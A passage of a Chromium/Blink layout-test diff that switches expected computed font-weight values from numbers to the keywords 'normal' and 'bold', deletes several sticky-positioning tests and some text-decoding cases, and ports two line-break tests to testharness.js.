+PASS computedFont('10px sans-serif, serif') is 'normal normal normal normal 10px / normal sans-serif, serif'
+PASS computedFont('12px ahem') is 'normal normal normal normal 12px / normal ahem'
+PASS computedFont('12px unlikely-font-name') is 'normal normal normal normal 12px / normal unlikely-font-name'
 PASS computedFont('100 10px sans-serif') is 'normal normal 100 normal 10px / normal sans-serif'
 PASS computedFont('200 10px sans-serif') is 'normal normal 200 normal 10px / normal sans-serif'
 PASS computedFont('300 10px sans-serif') is 'normal normal 300 normal 10px / normal sans-serif'
-PASS computedFont('400 10px sans-serif') is 'normal normal 400 normal 10px / normal sans-serif'
-PASS computedFont('normal 10px sans-serif') is 'normal normal 400 normal 10px / normal sans-serif'
+PASS computedFont('400 10px sans-serif') is 'normal normal normal normal 10px / normal sans-serif'
+PASS computedFont('normal 10px sans-serif') is 'normal normal normal normal 10px / normal sans-serif'
 PASS computedFont('500 10px sans-serif') is 'normal normal 500 normal 10px / normal sans-serif'
 PASS computedFont('600 10px sans-serif') is 'normal normal 600 normal 10px / normal sans-serif'
-FAIL computedFont('700 10px sans-serif') should be normal normal bold normal 10px / normal sans-serif. Was normal normal 700 normal 10px / normal sans-serif.
-FAIL computedFont('bold 10px sans-serif') should be normal normal bold normal 10px / normal sans-serif. Was normal normal 700 normal 10px / normal sans-serif.
+PASS computedFont('700 10px sans-serif') is 'normal normal bold normal 10px / normal sans-serif'
+PASS computedFont('bold 10px sans-serif') is 'normal normal bold normal 10px / normal sans-serif'
 PASS computedFont('800 10px sans-serif') is 'normal normal 800 normal 10px / normal sans-serif'
 PASS computedFont('900 10px sans-serif') is 'normal normal 900 normal 10px / normal sans-serif'
-PASS computedFont('italic 10px sans-serif') is 'italic normal 400 normal 10px / normal sans-serif'
-PASS computedFont('small-caps 10px sans-serif') is 'normal small-caps 400 normal 10px / normal sans-serif'
-PASS computedFont('italic small-caps 10px sans-serif') is 'italic small-caps 400 normal 10px / normal sans-serif'
-PASS computedFont('italic small-caps bold 10px sans-serif') is 'italic small-caps 700 normal 10px / normal sans-serif'
-PASS computedFont('10px/100% sans-serif') is 'normal normal 400 normal 10px / 10px sans-serif'
-PASS computedFont('10px/100px sans-serif') is 'normal normal 400 normal 10px / 100px sans-serif'
-PASS computedFont('10px/normal sans-serif') is 'normal normal 400 normal 10px / normal sans-serif'
-PASS computedFont('10px/normal sans-serif') is 'normal normal 400 normal 10px / normal sans-serif'
+PASS computedFont('italic 10px sans-serif') is 'italic normal normal normal 10px / normal sans-serif'
+PASS computedFont('small-caps 10px sans-serif') is 'normal small-caps normal normal 10px / normal sans-serif'
+PASS computedFont('italic small-caps 10px sans-serif') is 'italic small-caps normal normal 10px / normal sans-serif'
+PASS computedFont('italic small-caps bold 10px sans-serif') is 'italic small-caps bold normal 10px / normal sans-serif'
+PASS computedFont('10px/100% sans-serif') is 'normal normal normal normal 10px / 10px sans-serif'
+PASS computedFont('10px/100px sans-serif') is 'normal normal normal normal 10px / 100px sans-serif'
+PASS computedFont('10px/normal sans-serif') is 'normal normal normal normal 10px / normal sans-serif'
+PASS computedFont('10px/normal sans-serif') is 'normal normal normal normal 10px / normal sans-serif'
 PASS successfullyParsed is true
 
 TEST COMPLETE
diff --git a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-font-family-expected.txt b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-font-family-expected.txt
index 38014d29..8debc38 100644
--- a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-font-family-expected.txt
+++ b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-font-family-expected.txt
@@ -10,5 +10,5 @@
 font-variant-ligatures: normal;
 font-variant-caps: normal;
 font-variant-numeric: normal;
-font-weight: 400;
+font-weight: normal;
 
diff --git a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-listing-expected.txt b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-listing-expected.txt
index 17eb5de..7326b1f 100644
--- a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-listing-expected.txt
+++ b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-listing-expected.txt
@@ -161,7 +161,7 @@
 font-variant-caps: normal
 font-variant-ligatures: normal
 font-variant-numeric: normal
-font-weight: 400
+font-weight: normal
 grid-auto-columns: auto
 grid-auto-flow: row
 grid-auto-rows: auto
diff --git a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-without-renderer-listing-expected.txt b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-without-renderer-listing-expected.txt
index 872aabb5..844a816 100644
--- a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-without-renderer-listing-expected.txt
+++ b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/computed-style-without-renderer-listing-expected.txt
@@ -161,7 +161,7 @@
 font-variant-caps: normal
 font-variant-ligatures: normal
 font-variant-numeric: normal
-font-weight: 400
+font-weight: normal
 grid-auto-columns: auto
 grid-auto-flow: row
 grid-auto-rows: auto
diff --git a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/script-tests/computed-style-font.js b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/script-tests/computed-style-font.js
index d5b6343..f4e139a 100644
--- a/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/script-tests/computed-style-font.js
+++ b/third_party/WebKit/LayoutTests/fast/css/getComputedStyle/script-tests/computed-style-font.js
@@ -9,31 +9,31 @@
     return window.getComputedStyle(testDiv).getPropertyValue('font');
 }
 
-shouldBe("computedFont('10px sans-serif')", "'normal normal 400 normal 10px / normal sans-serif'");
-shouldBe("computedFont('10px sans-serif')", "'normal normal 400 normal 10px / normal sans-serif'");
-shouldBe("computedFont('10px SANS-SERIF')", "'normal normal 400 normal 10px / normal sans-serif'");
-shouldBe("computedFont('12px sans-serif')", "'normal normal 400 normal 12px / normal sans-serif'");
-shouldBe("computedFont('12px  sans-serif')", "'normal normal 400 normal 12px / normal sans-serif'");
-shouldBe("computedFont('10px sans-serif, sans-serif')", "'normal normal 400 normal 10px / normal sans-serif, sans-serif'");
-shouldBe("computedFont('10px sans-serif, serif')", "'normal normal 400 normal 10px / normal sans-serif, serif'");
-shouldBe("computedFont('12px ahem')", "'normal normal 400 normal 12px / normal ahem'");
-shouldBe("computedFont('12px unlikely-font-name')", "'normal normal 400 normal 12px / normal unlikely-font-name'");
+shouldBe("computedFont('10px sans-serif')", "'normal normal normal normal 10px / normal sans-serif'");
+shouldBe("computedFont('10px sans-serif')", "'normal normal normal normal 10px / normal sans-serif'");
+shouldBe("computedFont('10px SANS-SERIF')", "'normal normal normal normal 10px / normal sans-serif'");
+shouldBe("computedFont('12px sans-serif')", "'normal normal normal normal 12px / normal sans-serif'");
+shouldBe("computedFont('12px  sans-serif')", "'normal normal normal normal 12px / normal sans-serif'");
+shouldBe("computedFont('10px sans-serif, sans-serif')", "'normal normal normal normal 10px / normal sans-serif, sans-serif'");
+shouldBe("computedFont('10px sans-serif, serif')", "'normal normal normal normal 10px / normal sans-serif, serif'");
+shouldBe("computedFont('12px ahem')", "'normal normal normal normal 12px / normal ahem'");
+shouldBe("computedFont('12px unlikely-font-name')", "'normal normal normal normal 12px / normal unlikely-font-name'");
 shouldBe("computedFont('100 10px sans-serif')", "'normal normal 100 normal 10px / normal sans-serif'");
 shouldBe("computedFont('200 10px sans-serif')", "'normal normal 200 normal 10px / normal sans-serif'");
 shouldBe("computedFont('300 10px sans-serif')", "'normal normal 300 normal 10px / normal sans-serif'");
-shouldBe("computedFont('400 10px sans-serif')", "'normal normal 400 normal 10px / normal sans-serif'");
-shouldBe("computedFont('normal 10px sans-serif')", "'normal normal 400 normal 10px / normal sans-serif'");
+shouldBe("computedFont('400 10px sans-serif')", "'normal normal normal normal 10px / normal sans-serif'");
+shouldBe("computedFont('normal 10px sans-serif')", "'normal normal normal normal 10px / normal sans-serif'");
 shouldBe("computedFont('500 10px sans-serif')", "'normal normal 500 normal 10px / normal sans-serif'");
 shouldBe("computedFont('600 10px sans-serif')", "'normal normal 600 normal 10px / normal sans-serif'");
 shouldBe("computedFont('700 10px sans-serif')", "'normal normal bold normal 10px / normal sans-serif'");
 shouldBe("computedFont('bold 10px sans-serif')", "'normal normal bold normal 10px / normal sans-serif'");
 shouldBe("computedFont('800 10px sans-serif')", "'normal normal 800 normal 10px / normal sans-serif'");
 shouldBe("computedFont('900 10px sans-serif')", "'normal normal 900 normal 10px / normal sans-serif'");
-shouldBe("computedFont('italic 10px sans-serif')", "'italic normal 400 normal 10px / normal sans-serif'");
-shouldBe("computedFont('small-caps 10px sans-serif')", "'normal small-caps 400 normal 10px / normal sans-serif'");
-shouldBe("computedFont('italic small-caps 10px sans-serif')", "'italic small-caps 400 normal 10px / normal sans-serif'");
-shouldBe("computedFont('italic small-caps bold 10px sans-serif')", "'italic small-caps 700 normal 10px / normal sans-serif'");
-shouldBe("computedFont('10px/100% sans-serif')", "'normal normal 400 normal 10px / 10px sans-serif'");
-shouldBe("computedFont('10px/100px sans-serif')", "'normal normal 400 normal 10px / 100px sans-serif'");
-shouldBe("computedFont('10px/normal sans-serif')", "'normal normal 400 normal 10px / normal sans-serif'");
-shouldBe("computedFont('10px/normal sans-serif')", "'normal normal 400 normal 10px / normal sans-serif'");
+shouldBe("computedFont('italic 10px sans-serif')", "'italic normal normal normal 10px / normal sans-serif'");
+shouldBe("computedFont('small-caps 10px sans-serif')", "'normal small-caps normal normal 10px / normal sans-serif'");
+shouldBe("computedFont('italic small-caps 10px sans-serif')", "'italic small-caps normal normal 10px / normal sans-serif'");
+shouldBe("computedFont('italic small-caps bold 10px sans-serif')", "'italic small-caps bold normal 10px / normal sans-serif'");
+shouldBe("computedFont('10px/100% sans-serif')", "'normal normal normal normal 10px / 10px sans-serif'");
+shouldBe("computedFont('10px/100px sans-serif')", "'normal normal normal normal 10px / 100px sans-serif'");
+shouldBe("computedFont('10px/normal sans-serif')", "'normal normal normal normal 10px / normal sans-serif'");
+shouldBe("computedFont('10px/normal sans-serif')", "'normal normal normal normal 10px / normal sans-serif'");
diff --git a/third_party/WebKit/LayoutTests/fast/css/invalidation/non-independent-inheritance-identical-computed-styles.html b/third_party/WebKit/LayoutTests/fast/css/invalidation/non-independent-inheritance-identical-computed-styles.html
index 98e6ef8..711924e 100644
--- a/third_party/WebKit/LayoutTests/fast/css/invalidation/non-independent-inheritance-identical-computed-styles.html
+++ b/third_party/WebKit/LayoutTests/fast/css/invalidation/non-independent-inheritance-identical-computed-styles.html
@@ -51,24 +51,24 @@
     inner.offsetTop; // Force recalc.
     assert_equals(internals.updateStyleAndReturnAffectedElementCount(), 0);
 
-    assert_equals(getComputedStyle(outer).fontWeight, "400");
-    assert_equals(getComputedStyle(inner).fontWeight, "400");
+    assert_equals(getComputedStyle(outer).fontWeight, "normal");
+    assert_equals(getComputedStyle(inner).fontWeight, "normal");
     assert_equals(getComputedStyle(innermost).fontWeight, "100");
 
     inner.offsetTop; // Force recalc.
     inner.style.fontWeight = 'bolder';
     assert_equals(internals.updateStyleAndReturnAffectedElementCount(), 2);
 
-    assert_equals(getComputedStyle(outer).fontWeight, "400");
-    assert_equals(getComputedStyle(inner).fontWeight, "700");
-    assert_equals(getComputedStyle(innermost).fontWeight, "400");
+    assert_equals(getComputedStyle(outer).fontWeight, "normal");
+    assert_equals(getComputedStyle(inner).fontWeight, "bold");
+    assert_equals(getComputedStyle(innermost).fontWeight, "normal");
 
     inner.offsetTop; // Force recalc.
     outer.style.fontWeight = 'bold';
     assert_equals(internals.updateStyleAndReturnAffectedElementCount(), 3);
 
-    assert_equals(getComputedStyle(outer).fontWeight, "700");
+    assert_equals(getComputedStyle(outer).fontWeight, "bold");
     assert_equals(getComputedStyle(inner).fontWeight, "900");
-    assert_equals(getComputedStyle(innermost).fontWeight, "700");
+    assert_equals(getComputedStyle(innermost).fontWeight, "bold");
 }, "Changing font-weight (a non-independent inherited property) in a way that results in an identical ComputedStyle still triggers a style recalc for its children.");
 </script>
diff --git a/third_party/WebKit/LayoutTests/fast/css/sticky/inflow-sticky-expected.html b/third_party/WebKit/LayoutTests/fast/css/sticky/inflow-sticky-expected.html
deleted file mode 100644
index f2fe60d..0000000
--- a/third_party/WebKit/LayoutTests/fast/css/sticky/inflow-sticky-expected.html
+++ /dev/null
@@ -1,53 +0,0 @@
-<!DOCTYPE html>
-
-<html>
-<head>
-<style>
-    body {
-        margin: 0;
-    }
-    
-    .group {
-        position: relative;
-        width: 250px;
-        height: 450px;
-    }
-    
-    .container {
-        width: 200px;
-        height: 600px;
-        outline: 2px solid black;
-    }
-    
-    .box {
-        width: 200px;
-        height: 200px;
-    }
-
-    .before {
-        background-color: orange;
-        height: 50px;
-    }
-
-    .after {
-        background-color: blue;
-        height: 50px;
-    }
-    .sticky {
-        background-color: green;
-        position: relative;
-        top: 250px;
-    }
-</style>
-</head>
-<body>
-    <div class="group" style="top: 0">
-        <div class="container">
-            <div class="before box"></div>
-            <div class="sticky box"></div>
-            <div class="after box"></div>
-        </div>
-    </div>
-
-</body>
-</html>
diff --git a/third_party/WebKit/LayoutTests/fast/css/sticky/inflow-sticky.html b/third_party/WebKit/LayoutTests/fast/css/sticky/inflow-sticky.html
deleted file mode 100644
index 2407ce92..0000000
--- a/third_party/WebKit/LayoutTests/fast/css/sticky/inflow-sticky.html
+++ /dev/null
@@ -1,67 +0,0 @@
-<!DOCTYPE html>
-<script>
-if (window.internals) {
-    internals.settings.setCSSStickyPositionEnabled(true);
-}           
-</script>
-
-<html>
-<head>
-<style>
-    body {
-        margin: 0;
-        height: 2000px;
-        overflow: hidden; /* hide scrollbars */
-    }
-    
-    .group {
-        position: relative;
-        width: 250px;
-        height: 450px;
-    }
-    
-    .container {
-        width: 200px;
-        height: 600px;
-        outline: 2px solid black;
-    }
-    
-    .box {
-        width: 200px;
-        height: 200px;
-    }
-
-    .before {
-        background-color: orange;
-        height: 50px;
-    }
-
-    .after {
-        background-color: blue;
-        height: 50px;
-    }
-    .sticky {
-        background-color: green;
-        position: sticky;
-        top: 300px;
-    }
-</style>
-<script>
-    function doTest()
-    {
-        window.scrollTo(0, 100);
-    }
-    window.addEventListener('load', doTest, false);
-</script>
-</head>
-<body>
-    <div class="group" style="top: 100px">
-        <div class="container">
-            <div class="before box"></div>
-            <div class="sticky box"></div>
-            <div class="after box"></div>
-        </div>
-    </div>
-
-</body>
-</html>
diff --git a/third_party/WebKit/LayoutTests/fast/css/sticky/nested/sticky-nested-inline-expected.html b/third_party/WebKit/LayoutTests/fast/css/sticky/nested/sticky-nested-inline-expected.html
deleted file mode 100644
index 904e3a0..0000000
--- a/third_party/WebKit/LayoutTests/fast/css/sticky/nested/sticky-nested-inline-expected.html
+++ /dev/null
@@ -1,27 +0,0 @@
-<style>
-body {
-  margin: 0;
-}
-
-.container {
-  width: 200px;
-  height: 350px;
-  outline: 2px solid black;
-}
-
-.outerInline {
-  display: inline;
-  position: absolute;
-  top: 0;
-}
-
-.innerInline {
-  display: inline;
-  position: absolute;
-  top: 25px;
-}
-</style>
-
-<div class="container">
-  <div class="outerInline">1<div class="innerInline">2</div></div>
-</div>
diff --git a/third_party/WebKit/LayoutTests/fast/css/sticky/nested/sticky-nested-inline.html b/third_party/WebKit/LayoutTests/fast/css/sticky/nested/sticky-nested-inline.html
deleted file mode 100644
index c873737..0000000
--- a/third_party/WebKit/LayoutTests/fast/css/sticky/nested/sticky-nested-inline.html
+++ /dev/null
@@ -1,52 +0,0 @@
-<style>
-body {
-  margin: 0;
-}
-
-.scroller {
-  overflow: hidden; /* hide scrollbars */
-  width: 200px;
-  height: 350px;
-  outline: 2px solid black;
-}
-
-.container {
-  width: 200px;
-  height: 700px;
-}
-
-.outerSticky {
-  display: inline;
-  position: sticky;
-  top: 0;
-}
-
-.innerSticky {
-  display: inline;
-  position: sticky;
-  top: 25px;
-}
-</style>
-
-<script>
-if (window.testRunner)
-  testRunner.waitUntilDone();
-
-function finishTest() {
-  document.querySelector('.scroller').scrollTop = 200;
-  if (window.testRunner)
-    testRunner.notifyDone();
-}
-
-window.addEventListener('load', function() {
-  requestAnimationFrame(function() {
-    requestAnimationFrame(finishTest);
-  });
-});
-</script>
-
-<div class="scroller">
-  <div class="container">
-    <div class="outerSticky">1<div class="innerSticky">2</div></div>
-  </div>
-</div>
diff --git a/third_party/WebKit/LayoutTests/fast/css/sticky/sticky-flexbox-expected.html b/third_party/WebKit/LayoutTests/fast/css/sticky/sticky-flexbox-expected.html
deleted file mode 100644
index d3024b0..0000000
--- a/third_party/WebKit/LayoutTests/fast/css/sticky/sticky-flexbox-expected.html
+++ /dev/null
@@ -1,83 +0,0 @@
-<!DOCTYPE html>
-
-<html>
-<head>
-<style>
-    body {
-        margin: 0;
-        width: 2000px;
-        overflow: hidden; /* hide scrollbars */
-    }
-
-    p {
-        position: relative;
-        left: 100px;
-    }
- 
-    .group {
-        position: relative;
-        width: 500px;
-        height: 200px;
-    }
- 
-    .flex-container {
-        position: relative;
-        display: flex;
-        width: 200px;
-        height: 180px;
-        flex-flow: row wrap;
-        outline: 2px solid black;
-    }
- 
-    .box {
-        width: 100px;
-        height: 180px;
-    }
-
-    .flex-item {
-        width: 100px;
-        height: 180px;
-        display: flex;
-    }
-
-    .sticky {
-        position: relative;
-        background-color: green;
-    }
-
-</style>
-<script>
-    function doTest()
-    {
-        window.scrollTo(100, 0);
-    }
-    window.addEventListener('load', doTest, false);
-</script>
-</head>
-<body>
-    <p>This test checks the behavior of position:sticky with flex box items.
-  There should be no red.</p>
-
-    <div class="group" style="left: 100px">
-        <div class="flex-container" style="left: 0px;">
-            <div class="sticky flex-item" style="left:100px"></div>
-            <div class="flex-item" style="background-color: green;"></div>
-        </div>
-    </div>
-
-    <div class="group" style="left: 150px">
-        <div class="flex-container" style="left: 0px;">
-            <div class="sticky flex-item" style="left:50px"></div>
-            <div class="flex-item" style="background-color: green;"></div>
-        </div>
-    </div>
-
-    <div class="group" style="left: 200px">
-        <div class="flex-container" style="left: 0px;">
-            <div class="sticky flex-item"></div>
-            <div class="flex-item" style="background-color: green;"></div>
-        </div>
-    </div>
-
-</body>
-</html>
diff --git a/third_party/WebKit/LayoutTests/fast/css/sticky/sticky-flexbox.html b/third_party/WebKit/LayoutTests/fast/css/sticky/sticky-flexbox.html
deleted file mode 100644
index 18b11da3..0000000
--- a/third_party/WebKit/LayoutTests/fast/css/sticky/sticky-flexbox.html
+++ /dev/null
@@ -1,98 +0,0 @@
-<!DOCTYPE html>
-<script>
-if (window.internals) {
-    internals.settings.setCSSStickyPositionEnabled(true);
-}           
-</script>
-
-<html>
-<head>
-<style>
-    body {
-        margin: 0;
-        width: 2000px;
-        overflow: hidden; /* hide scrollbars */
-    }
-
-    p {
-        position: relative;
-        left: 100px;
-    }
- 
-    .group {
-        position: relative;
-        width: 500px;
-        height: 200px;
-    }
- 
-    .flex-container {
-        position: relative;
-        display: flex;
-        width: 200px;
-        height: 180px;
-        flex-flow: row wrap;
-        outline: 2px solid black;
-    }
- 
-    .box {
-        width: 100px;
-        height: 180px;
-    }
-
-    .flex-item {
-        width: 100px;
-        height: 180px;
-        display: flex;
-    }
-
-    .sticky {
-        position: sticky;
-        left: 100px;
-        background-color: green;
-    }
-
-    .indicator {
-        position: absolute;
-        top: 0;
-        left: 0;
-        background-color: red;
-    }
-</style>
-<script>
-    function doTest()
-    {
-        window.scrollTo(100, 0);
-    }
-    window.addEventListener('load', doTest, false);
-</script>
-</head>
-<body>
-    <p>This test checks the behavior of position:sticky with flex box items.
-  There should be no red.</p>
-
-    <div class="group" style="left: 100px">
-        <div class="indicator box" style="left: 100px;"></div>
-        <div class="flex-container" style="left: 0px;">
-            <div class="sticky flex-item"></div>
-            <div class="flex-item" style="background-color: green;"></div>
-        </div>
-    </div>
-
-    <div class="group" style="left: 150px">
-        <div class="indicator box" style="left: 50px;"></div>
-        <div class="flex-container" style="left: 0px;">
-            <div class="sticky flex-item"></div>
-            <div class="flex-item" style="background-color: green;"></div>
-        </div>
-    </div>
-
-    <div class="group" style="left: 200px">
-        <div class="indicator box" style="left: 0;"></div>
-        <div class="flex-container" style="left: 0px;">
-            <div class="sticky flex-item"></div>
-            <div class="flex-item" style="background-color: green;"></div>
-        </div>
-    </div>
-
-</body>
-</html>
diff --git a/third_party/WebKit/LayoutTests/fast/css/variables/longhand-pending-shorthand-substitution.html b/third_party/WebKit/LayoutTests/fast/css/variables/longhand-pending-shorthand-substitution.html
index 5b536bc..7b4b60f 100644
--- a/third_party/WebKit/LayoutTests/fast/css/variables/longhand-pending-shorthand-substitution.html
+++ b/third_party/WebKit/LayoutTests/fast/css/variables/longhand-pending-shorthand-substitution.html
@@ -24,7 +24,7 @@
   assert_equals(style.fontSize, '12px');
   assert_equals(style.lineHeight, '30px');
   assert_equals(style.fontStyle, 'italic');
-  assert_equals(style.fontWeight, '700');
+  assert_equals(style.fontWeight, 'bold');
   assert_equals(style.fontFamily, 'serif, sans-serif');
 }, "Test shorthand substitution in font.");
 
diff --git a/third_party/WebKit/LayoutTests/fast/encoding/char-decoding.html b/third_party/WebKit/LayoutTests/fast/encoding/char-decoding.html
index f8b999f1..0d12d2c 100644
--- a/third_party/WebKit/LayoutTests/fast/encoding/char-decoding.html
+++ b/third_party/WebKit/LayoutTests/fast/encoding/char-decoding.html
@@ -123,12 +123,6 @@
 
 batchTestDecode(thai);
 
-// UTF-7 is expressly forbidden, so decoding it should not work correctly.
-// This attempts to decode '<' as UTF-7 (+AD4) but it ends up being decoded
-// as a '+AD4'.
-testDecode('UTF-7', '+AD4', 'U+002B/U+0041/U+0044/U+0034');
-testDecode('utf-7', '+AD4', 'U+002B/U+0041/U+0044/U+0034');
-
 // UTF-16LE and variants.
 testDecode('UTF-16LE', '%69%D8%D6%DE', 'U+D869/U+DED6');
 testDecode('unicodeFEFF', '%69%D8%D6%DE', 'U+D869/U+DED6');
@@ -143,19 +137,4 @@
 testDecode('UTF-16BE', '%D8%69%DE%D6', 'U+D869/U+DED6');
 testDecode('unicodeFFFE', '%D8%69%DE%D6', 'U+D869/U+DED6');
 
-// UTF-32 will be detected as UTF-16LE if leading BOM, or windows-1252 otherwise.
-testDecode('UTF-32', '%FF%FE%00%00%41%00%00%00%42%00%00%00', 'U+0000/U+0041/U+0000/U+0042/U+0000');
-testDecode('UTF-32', '%41%00%00%00%42%00%00%00', 'U+0041/U+0000/U+0000/U+0000/U+0042/U+0000/U+0000/U+0000');
-testDecode('UTF-32LE', '%41%00%00%00%42%00%00%00', 'U+0041/U+0000/U+0000/U+0000/U+0042/U+0000/U+0000/U+0000');
-testDecode('UTF-32LE', '%FF%FE%00%00%41%00%00%00%42%00%00%00', 'U+0000/U+0041/U+0000/U+0042/U+0000');
-testDecode('UTF-32BE', '%00%00%00%41%00%00%00%42', 'U+0000/U+0000/U+0000/U+0041/U+0000/U+0000/U+0000/U+0042');
-testDecode('UTF-32BE', '%00%00%FE%FF%00%00%00%41%00%00%00%42', 'U+0000/U+0000/U+00FE/U+00FF/U+0000/U+0000/U+0000/U+0041/U+0000/U+0000/U+0000/U+0042');
-
-// Replacement encodings should decode non-empty streams as replacement (U+FFFD) then EOF
-["replacement", "csiso2022kr", "hz-gb-2312", "iso-2022-cn", "iso-2022-cn-ext", "iso-2022-kr"]
-.forEach(function(encoding) {
-    testDecode(encoding, "", "");
-    testDecode(encoding, "%41%42%43%61%62%63%31%32%33%A0", "U+FFFD");
-});
-
 </script>
diff --git a/third_party/WebKit/LayoutTests/fast/events/ondrop-text-html-expected.txt b/third_party/WebKit/LayoutTests/fast/events/ondrop-text-html-expected.txt
index 0f35ce8..fdc7bd94 100644
--- a/third_party/WebKit/LayoutTests/fast/events/ondrop-text-html-expected.txt
+++ b/third_party/WebKit/LayoutTests/fast/events/ondrop-text-html-expected.txt
@@ -1,4 +1,4 @@
 CONSOLE MESSAGE: line 21: text/plain: This test verifies that we can get text/html from the drag object during an ondrop event. 
-CONSOLE MESSAGE: line 23: text/html: <span style="color: rgb(0, 0, 0); font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">This test verifies that we can get text/html from the drag object during an ondrop event.<span> </span></span>
+CONSOLE MESSAGE: line 23: text/html: <span style="color: rgb(0, 0, 0); font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">This test verifies that we can get text/html from the drag object during an ondrop event.<span> </span></span>
 This test verifies that we can get text/html from the drag object during an ondrop event. This test requires DRT.
 PASS
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-break-after-empty-inline-hebrew-expected.txt b/third_party/WebKit/LayoutTests/fast/text/line-break-after-empty-inline-hebrew-expected.txt
deleted file mode 100644
index 1b11337..0000000
--- a/third_party/WebKit/LayoutTests/fast/text/line-break-after-empty-inline-hebrew-expected.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-The following two paragraphs should have the same line breaks:
-אבג דהו זחט
-
-אבג דהו זחט
-
-PASS
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-break-after-empty-inline-hebrew.html b/third_party/WebKit/LayoutTests/fast/text/line-break-after-empty-inline-hebrew.html
index 875d82f..7b72c63 100644
--- a/third_party/WebKit/LayoutTests/fast/text/line-break-after-empty-inline-hebrew.html
+++ b/third_party/WebKit/LayoutTests/fast/text/line-break-after-empty-inline-hebrew.html
@@ -1,6 +1,9 @@
+<!DOCTYPE html>
 <html>
 <head>
 <title>Line breaks after empty inline - Hebrew</title>
+<script src="../../resources/testharness.js"></script>
+<script src="../../resources/testharnessreport.js"></script>
 </head>
 <body>
 <meta charset=utf-8>
@@ -13,9 +16,6 @@
 </div>
 <div><pre id=results></pre></div>
 <script>
-if (window.testRunner)
-    testRunner.dumpAsText();
-
 function getLineWidths(paragraphNumber) {
     var range = document.createRange();
     var paragraphs = document.getElementsByTagName("p");
@@ -32,24 +32,17 @@
     return widths;
 }
 
-var widths1 = getLineWidths(0);
-var widths2 = getLineWidths(1);
-var results = '';
-if (widths1.length != widths2.length)
-    results += 'FAIL: different number of lines, got ' + widths2.length + ', expected ' + widths1.length;
-else {
-    for (var i = 0; i < widths1.length; ++i) {
-        if (widths2[i] != widths1[i]) {
-            if (results.length)
-                results += '\n'
-            results += 'FAIL: line[' + i + '] width differs, got ' + widths2[i] + ', expected ' + widths1[i];
-        }
-    } 
-}
-if (!results.length)
-    results = 'PASS';
-document.getElementById("results").innerText = results;
+test(() => {
+  var widths1 = getLineWidths(0);
+  var widths2 = getLineWidths(1);
+  assert_equals(widths1.length, widths2.length,
+    'FAIL: different number of lines, got ' + widths2.length + ', expected ' + widths1.length);
 
+  for (var i = 0; i < widths1.length; ++i) {
+    assert_equals(widths2[i], widths1[i],
+      'FAIL: line[' + i + '] width differs, got ' + widths2[i] + ', expected ' + widths1[i]);
+  }
+});
 </script>
 </body>
 </html>
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-break-after-inline-latin1-expected.txt b/third_party/WebKit/LayoutTests/fast/text/line-break-after-inline-latin1-expected.txt
deleted file mode 100644
index bf1a122..0000000
--- a/third_party/WebKit/LayoutTests/fast/text/line-break-after-inline-latin1-expected.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-With span inline on first word, Latin1 in second position of second word.
-
-xx xéx
-
-With span inline on first word, Latin1 in first position of second word.
-
-xx éxx
-
-With span inline on first word, no Latin1 in second word.
-
-xx xxx
-
-Without span, Latin1 in second position of second word.
-
-xx xéx
-
-Without span, Latin1 in first position of second word.
-
-xx éxx
-
-Without span, no Latin1 in second word.
-
-xx xxx
-
-PASS
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-break-after-inline-latin1.html b/third_party/WebKit/LayoutTests/fast/text/line-break-after-inline-latin1.html
index 4852227..9b8ea7c 100644
--- a/third_party/WebKit/LayoutTests/fast/text/line-break-after-inline-latin1.html
+++ b/third_party/WebKit/LayoutTests/fast/text/line-break-after-inline-latin1.html
@@ -1,6 +1,9 @@
+<!DOCTYPE html>
 <html>
 <head>
 <title>Line breaks after span inlines - Latin1</title>
+<script src="../../resources/testharness.js"></script>
+<script src="../../resources/testharnessreport.js"></script>
 </head>
 <body>
 <meta charset=utf-8>
@@ -20,9 +23,6 @@
 </div>
 <div><pre id=results></pre></div>
 <script>
-if (window.testRunner)
-    testRunner.dumpAsText();
-
 function mergeRect(rects, rect) {
     var newRects = [];
     if (!rects.length)
@@ -69,38 +69,23 @@
     return rects;
 }
 
-function appendResults(results, newResults) {
-    if (newResults.length) {
-        if (results.length)
-            results += '\n'
-        results += newResults;
-    }
-    return results;
-}
-
-function compareParagraphLineRects(paragraphNumber1, paragraphNumber2, results) {
+function compareParagraphLineRects(paragraphNumber1, paragraphNumber2) {
     var rects1 = getLineRects(paragraphNumber1);
     var rects2 = getLineRects(paragraphNumber2);
-    if (rects1.length != rects2.length)
-        results = appendResults(results, 'FAIL: different number of lines, got ' + rects1.length + ', expected ' + rects2.length);
-    else {
-        for (var i = 0; i < rects1.length; ++i) {
-            if (rects2[i].width != rects1[i].width) {
-                results = appendResults(results,
-                    'FAIL: para[' + paragraphNumber1 + '] line[' + i + '] width differs from para[' + paragraphNumber2 + '] line[' + i + ']' +
